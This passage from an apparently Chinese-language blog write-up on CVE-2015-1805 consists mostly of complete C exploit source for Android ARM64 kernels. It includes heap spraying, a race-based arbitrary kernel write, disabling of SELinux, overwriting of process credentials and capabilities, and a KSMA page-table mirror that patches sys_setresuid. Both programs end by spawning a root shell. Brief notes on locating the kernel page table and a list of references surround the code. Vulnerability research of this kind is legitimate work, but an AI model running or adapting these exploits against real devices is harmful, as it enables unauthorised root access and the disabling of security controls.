sendmsg_iovec[(IOVEC_NUM / 2) + 1].iov_base = (void*)&overflowcheck;
sendmsg_iovec[(IOVEC_NUM / 2) + 1].iov_len = sizeof(overflowcheck);
sendmsg_iovec[(IOVEC_NUM / 2) + 2].iov_base = target_addr;
sendmsg_iovec[(IOVEC_NUM / 2) + 2].iov_len = sizeof(unsigned long);

for(i = 0; i < SENDTHREADS; i++){
if(pthread_create(&msgthreads[i], NULL, writemsg, NULL)) err(1, "heapspray pthread_create()");
}

sleep(2);
stop_send = 1;
for(i = 0; i < SENDTHREADS; i++)
pthread_join(msgthreads[i], &retval);
stop_send = 0;

return 0;
}

void aaw(void* target_addr, unsigned long targetval){
unsigned int i;
int ret = 0;
pthread_t mapthread, wthread, rthread;

kill_switch = 0;
overflowcheck = MEMMAGIC; // 多次使用,需重新初始化

printf(" [+] Start map/unmap thread\\n");
if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL))) err(1, "mapunmap pthread_create()");

printf(" [+] Start write thread\\n");
for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++) // 待写入的值
((long*)wbuf)[i] = targetval;
if((ret = pthread_create(&wthread, NULL, writepipe, NULL))) err(1, "write pthread_create()");

// heap spray
printf(" [+] start heap spray, waiting....\\n");
heapspray(target_addr); // 指定待写的目标地址

printf(" [+] Start read thread\\n");
if((ret = pthread_create(&rthread, NULL, readpipe, NULL))) err(1, "read pthread_create()");

while(1)
{
if(overflowcheck != MEMMAGIC)
{
kill_switch = 1;
printf(" [+] Done write\\n");
// printf(" overflowcheck : 0x%llx, sizeof(overflowcheck): %d \\n", overflowcheck, sizeof(overflowcheck));
break;
}
}

// pthread_join(wthread,NULL); // 有概率会卡住
pthread_join(mapthread,NULL);
pthread_join(rthread,NULL);
}

void read_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)k_addr,0x8);
read(pipe_rw[0],(void*)u_addr,0x8);
}

void write_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x8);
read(pipe_rw[0],(void*)k_addr,0x8);
}

void write_kernel4(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x4);
read(pipe_rw[0],(void*)k_addr,0x4);
}

int main(){
unsigned int i;
int ret = 0;

maximize_fd_limit();
setprocesspriority();

// init global value
/*mmap unmap addr*/
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err(1, "mmap()");
/*readv iovec*/
pipe_iovec = malloc(sizeof(struct iovec) * IOVEC_NUM);
memset(pipe_iovec, 0, sizeof(struct iovec) * IOVEC_NUM);
unsigned long r_buf[2];
pipe_iovec[0].iov_base = r_buf; //just any buffer that is always available
pipe_iovec[0].iov_len = sizeof(long) * 2; //how many bytes we can arbitrary write
pipe_iovec[1].iov_base = MMAP_ADDR;
pipe_iovec[1].iov_len = ((PAGE_SIZE * 2) - pipe_iovec[0].iov_len); //we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)
/*heap spray - sendmsg iovec*/
sendmsg_iovec = malloc(IOVEC_NUM*sizeof(struct iovec));
memset(sendmsg_iovec, 0x0, sizeof(struct iovec) * IOVEC_NUM);

// init pipe_fd // 创建管道,并将其大小设置为 32*4096,防止读pipe时被阻塞
if((ret = pipe(pipe_fd))) err(1, "pipe()");
if(fcntl(pipe_fd[1], F_SETPIPE_SZ, PIPESZ) != PIPESZ) err(1, "fcntl()");

// aaw test
// unsigned long test = 0;
// aaw(&test, 0xffffaaaacccc);
// printf("[+] test: 0x%llx\\n", test);

// exploit
/*leak kernel sp*/
void* check_flags_addr = (void*)0xFFFFFFC0006F0FD0;
unsigned long hijack_check_flags = 0xffffffc00027ad14; // ldr x1, [x0, #0x20] ; add x0, x29, #0x50 ; blr x1
unsigned long sp_ret2usr = 0xFFFFFFC00015EC34; // CBNZ W0, loc_FFFFFFC00015EA3C
unsigned long* fake_x0;
if((fake_x0 = mmap((void*)((unsigned long)MMAP_ADDR + MMAP_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0)) == (void*)-1) err(1,"mmap MMAP_ADDR + MMAP_SIZE");
fake_x0[4] = sp_ret2usr;
printf("fake x0: 0x%lx\\n",fake_x0);

aaw(check_flags_addr, hijack_check_flags);

int dev;
unsigned long kern_sp;
if((dev = open("/dev/ptmx",O_RDWR)) < 0) err(1, "open /dev/ptmx");
kern_sp = (unsigned long)fcntl(dev, F_SETFL, fake_x0);
kern_sp += KERNEL_START;
printf("kernel sp: 0x%lx\\n", kern_sp);

unsigned long thread_info_addr = kern_sp & 0xFFFFFFFFFFFFC000;
unsigned long addr_limit_addr = thread_info_addr + 0x8;
aaw((void*)addr_limit_addr,0xfffffffffffffffc);

// pipe aaw test - set selinux_enforcing zero
unsigned long user_data = 0;
void* selinux_enforcing = 0xFFFFFFC0006EBA0C;
// read_kernel(selinux_enforcing, &user_data);
// printf("before - selinux: 0x%lx\\n", user_data);
// user_data = 0;
write_kernel4(selinux_enforcing, &user_data);
// read_kernel(selinux_enforcing, &user_data);
// printf("after - selinux: 0x%lx\\n", user_data);

// write cred
unsigned long task_addr = 0;
void* leak_task = thread_info_addr+0x10;
read_kernel(leak_task, &task_addr);
printf("task_addr: 0x%lx\\n", task_addr);
unsigned long cred_addr = 0;
void* leak_cred = task_addr + 0x3A0;
read_kernel(leak_cred, &cred_addr);
printf("cred_addr: 0x%lx\\n", cred_addr);

int root_id = 0;
write_kernel4((char*)(cred_addr+4), (char*)&root_id);
write_kernel4((char*)(cred_addr+8), (char*)&root_id);
write_kernel4((char*)(cred_addr+12), (char*)&root_id);
write_kernel4((char*)(cred_addr+16), (char*)&root_id);
write_kernel4((char*)(cred_addr+20), (char*)&root_id);
write_kernel4((char*)(cred_addr+24), (char*)&root_id);
write_kernel4((char*)(cred_addr+28), (char*)&root_id);
write_kernel4((char*)(cred_addr+32), (char*)&root_id);

unsigned long root_cap = 0xffffffffffffffff;
write_kernel((char*)cred_addr+0x28, (char*)&root_cap);
write_kernel((char*)cred_addr+0x30, (char*)&root_cap);
write_kernel((char*)cred_addr+0x38, (char*)&root_cap);
write_kernel((char*)cred_addr+0x40, (char*)&root_cap);
write_kernel((char*)cred_addr+0x48, (char*)&root_cap);

system("/system/bin/sh");

printf("exit...should never be there\\n");

return ret;
}

执行效果:

image-20231113015835988

KSMA

  1. 如何找到一级页表对应的虚拟地址

    bzImage恢复符号后,找到 init_mm.pgd,如下示例中 0xFFFFFFC00007D000 就是一级页表对应的虚拟地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    .kernel:FFFFFFC0006A5AB0                 EXPORT init_mm
    .kernel:FFFFFFC0006A5AB0 init_mm DCQ 0 ; DATA XREF: show_pte:loc_FFFFFFC0000930AC↑o
    .kernel:FFFFFFC0006A5AB0 ; setup_mm_for_reboot+4↑o ...
    .kernel:FFFFFFC0006A5AB8 DCQ 0, 0, 0
    .kernel:FFFFFFC0006A5AD0 DCB 0, 0, 0, 0
    .kernel:FFFFFFC0006A5AD4 dword_FFFFFFC0006A5AD4 DCD 0 ; DATA XREF: .kernel:FFFFFFC0005DA5C8↑o
    .kernel:FFFFFFC0006A5AD8 ALIGN 0x40
    .kernel:FFFFFFC0006A5B00 off_FFFFFFC0006A5B00 DCQ 0xFFFFFFC00007D000
    .kernel:FFFFFFC0006A5B00 ; DATA XREF: show_pte:loc_FFFFFFC000093054↑r
    .kernel:FFFFFFC0006A5B00 ; show_pte+34↑r ...

该部分完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
// ksma.c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define IOVEC_NUM 512
#define PIPESZ (4096 * 32)
#define MEMMAGIC (0xDEADBEEF)
#define MMAP_ADDR ((void*)0x40000000)
#define MMAP_SIZE (PAGE_SIZE * 2)
#define SENDTHREADS (500)
#define KERNEL_START 0xffffffc000000000
#define KERNEL_IMAGE_VBASE 0xFFFFFFC000080000

static volatile int kill_switch = 0;
static volatile unsigned long overflowcheck = MEMMAGIC;
static volatile int stop_send = 0;

int pipe_fd[2];
char wbuf[4096];
struct iovec *pipe_iovec;
struct iovec* sendmsg_iovec;

struct socket_pair{
int sock_a;
int sock_b;
};
struct socket_pair sockfd;

void maximize_fd_limit(){
struct rlimit rlim;
int ret;
if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) err(1, "getrlimit()");
rlim.rlim_cur = rlim.rlim_max;
if((ret = setrlimit(RLIMIT_NOFILE, &rlim))) err(1, "setrlimit()"); // setfdlimit, 将能打开的文件描述数量开到最大
printf("[+] set RLIMIT_NOFILE to %d\\n",rlim.rlim_cur);
}

void setprocesspriority(){
int ret;
if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) err(1, "setpriority()");
printf("[+] Change process priority to highest: %d\\n", ret);
}

static void* mapunmap(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
munmap(MMAP_ADDR, MMAP_SIZE);
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err("mmap() thread");

usleep(50);
}
printf("mapunmap exit\\n");
return 0;
}

static void* writepipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
write(pipe_fd[1], wbuf, sizeof(wbuf));
}
printf("writepipe exit\\n");
return 0;
}

static void* readpipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
readv(pipe_fd[0], pipe_iovec, ((IOVEC_NUM / 2) + 1));
}

printf("readpipe exit\\n");
return 0;
}

static void* writemsg(void* param){
(void)param; /* UNUSED */
struct mmsghdr msg = {{ 0 }, 0 };

socketpair(AF_UNIX, SOCK_STREAM, 0 , (int*)&sockfd);

msg.msg_hdr.msg_iov = sendmsg_iovec;
msg.msg_hdr.msg_iovlen = IOVEC_NUM;
msg.msg_hdr.msg_control = sendmsg_iovec;
msg.msg_hdr.msg_controllen = (IOVEC_NUM * sizeof(struct iovec)); // 都设置上,一次在内核中申请两个 kmalloc-8192

while(!stop_send)
{
syscall(__NR_sendmmsg, sockfd.sock_a, &msg, 1, 0);
}

close(sockfd.sock_a);
return 0;
}

static int heapspray(void* target_addr){
unsigned int i;
void* retval;
pthread_t msgthreads[SENDTHREADS];


sendmsg_iovec[(IOVEC_NUM / 2) + 1].iov_base = (void*)&overflowcheck;
sendmsg_iovec[(IOVEC_NUM / 2) + 1].iov_len = sizeof(overflowcheck);
sendmsg_iovec[(IOVEC_NUM / 2) + 2].iov_base = target_addr;
sendmsg_iovec[(IOVEC_NUM / 2) + 2].iov_len = sizeof(unsigned long);

for(i = 0; i < SENDTHREADS; i++){
if(pthread_create(&msgthreads[i], NULL, writemsg, NULL)) err(1, "heapspray pthread_create()");
}

sleep(2);
stop_send = 1;
for(i = 0; i < SENDTHREADS; i++)
pthread_join(msgthreads[i], &retval);
stop_send = 0;

return 0;
}

void aaw(void* target_addr, unsigned long targetval){
unsigned int i;
int ret = 0;
pthread_t mapthread, wthread, rthread;

kill_switch = 0;
overflowcheck = MEMMAGIC; // 多次使用,需重新初始化

printf(" [+] Start map/unmap thread\\n");
if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL))) err(1, "mapunmap pthread_create()");

printf(" [+] Start write thread\\n");
for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++) // 待写入的值
((long*)wbuf)[i] = targetval;
if((ret = pthread_create(&wthread, NULL, writepipe, NULL))) err(1, "write pthread_create()");

// heap spray
printf(" [+] start heap spray, waiting....\\n");
heapspray(target_addr); // 指定待写的目标地址

printf(" [+] Start read thread\\n");
if((ret = pthread_create(&rthread, NULL, readpipe, NULL))) err(1, "read pthread_create()");

while(1)
{
if(overflowcheck != MEMMAGIC)
{
kill_switch = 1;
printf(" [+] Done write\\n");
// printf(" overflowcheck : 0x%llx, sizeof(overflowcheck): %d \\n", overflowcheck, sizeof(overflowcheck));
break;
}
}

// pthread_join(wthread,NULL); // 有概率会卡住
pthread_join(mapthread,NULL);
pthread_join(rthread,NULL);
}

void read_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)k_addr,0x8);
read(pipe_rw[0],(void*)u_addr,0x8);
}

void write_kernel(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x8);
read(pipe_rw[0],(void*)k_addr,0x8);
}

void write_kernel4(char* k_addr, char* u_addr){
int pipe_rw[2];
pipe(pipe_rw);
write(pipe_rw[1],(void*)u_addr,0x4);
read(pipe_rw[0],(void*)k_addr,0x4);
}

unsigned long SYMBOL__swapper_pg_dir = 0xFFFFFFC00007D000;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base, int fd) {
/* one kernel write primitive to grant new mirror virtual space
* 1. calculate d_block_addr
* 2. prepare d_block (int64)
* 3. write d_block to d_block_addr
* */
unsigned long d_block_addr;
unsigned long d_block;

int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("descriptor: 0x%lx + %d x 8 = 0x%lx\\n", SYMBOL__swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN

printf("d_block = 0x%lx\\n", d_block);
aaw((void*)d_block_addr, d_block);
}

int main(){
unsigned int i;
int ret = 0;

maximize_fd_limit();
setprocesspriority();

// init global value
/*mmap unmap addr*/
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err(1, "mmap()");
/*readv iovec*/
pipe_iovec = malloc(sizeof(struct iovec) * IOVEC_NUM);
memset(pipe_iovec, 0, sizeof(struct iovec) * IOVEC_NUM);
unsigned long r_buf[2];
pipe_iovec[0].iov_base = r_buf; //just any buffer that is always available
pipe_iovec[0].iov_len = sizeof(long) * 2; //how many bytes we can arbitrary write
pipe_iovec[1].iov_base = MMAP_ADDR;
pipe_iovec[1].iov_len = ((PAGE_SIZE * 2) - pipe_iovec[0].iov_len); //we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)
/*heap spray - sendmsg iovec*/
sendmsg_iovec = malloc(IOVEC_NUM*sizeof(struct iovec));
memset(sendmsg_iovec, 0x0, sizeof(struct iovec) * IOVEC_NUM);

// init pipe_fd // 创建管道,并将其大小设置为 32*4096,防止读pipe时被阻塞
if((ret = pipe(pipe_fd))) err(1, "pipe()");
if(fcntl(pipe_fd[1], F_SETPIPE_SZ, PIPESZ) != PIPESZ) err(1, "fcntl()");

// aaw test
// unsigned long test = 0;
// aaw(&test, 0xffffaaaacccc);
// printf("[+] test: 0x%llx\\n", test);

// exploit
/*ksma*/
unsigned long kernel_phys = 0x40080000;
unsigned long mirror_base = 0xffffffc200000000;
init_mirror(kernel_phys, mirror_base, NULL);
/*PATCH KERNEL - turn off selinux*/
void* selinux_enforcing = 0xFFFFFFC0006EBA0C;
unsigned long selinux_enforcing_new = mirror_base + 0x80000 + (selinux_enforcing - KERNEL_IMAGE_VBASE);
*(int*)selinux_enforcing_new = 0x0;
printf("done, turn off the selinux\\n");
/*PATCH KERNEL - sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC0000ADF44;
unsigned long setresuid_if_addr_new = mirror_base + 0x80000 + (setresuid_if_addr - KERNEL_IMAGE_VBASE);
printf("setresuid new addr:0x%lx\\n", setresuid_if_addr_new);
printf("setresuid_if_addr_new content: 0x%lx\\n",*(unsigned long*)(setresuid_if_addr_new));
*(char*)(setresuid_if_addr_new+3) = 0xB4;
printf("setresuid_if_addr_new content: 0x%lx\\n",*(unsigned long*)(setresuid_if_addr_new));

// write cred
uid_t a,b,c;
if(getresuid(&a, &b, &c) != 0) err(1,"getresuid");
printf("before set - getresuid: %d %d %d\\n",a, b, c);
if(setresuid(0,0,0) != 0) err(1,"setresuid"); // b *0xFFFFFFC0000ADEF4

if(getresuid(&a, &b, &c) != 0) err(1,"getresuid");
printf("after set - getresuid: %d %d %d\\n",a, b, c);

system("/system/bin/sh");

printf("exit...should never be there\\n");

return ret;
}

执行效果:

image-20231113015923671

参考文章

看明白漏洞点:some points on CVE-2015-1805

有个dosomder/iovyroot代码和ppt:Iovyroot (CVE-2015-1805) 分析

讲解dosomder/iovyroot代码:https://wenboshen.org/posts/2016-04-25-1805-cve

一个分析,在多个真机上复现:[原创][首发]CVE-2015-1805 安卓手机提权ROOT漏洞 分析

一个国外的博客:http://web.archive.org/web/20201112020258/https://www.trendmicro.com/en_us/research/16/c/critical-cve-2015-1805-vulnerability-allows-permanent-rooting-android-phones.html

keenlab-mosec2016-PPT:https://github.com/retme7/My-Slides/blob/master/Keenlab-mosec2016.pdf

exp: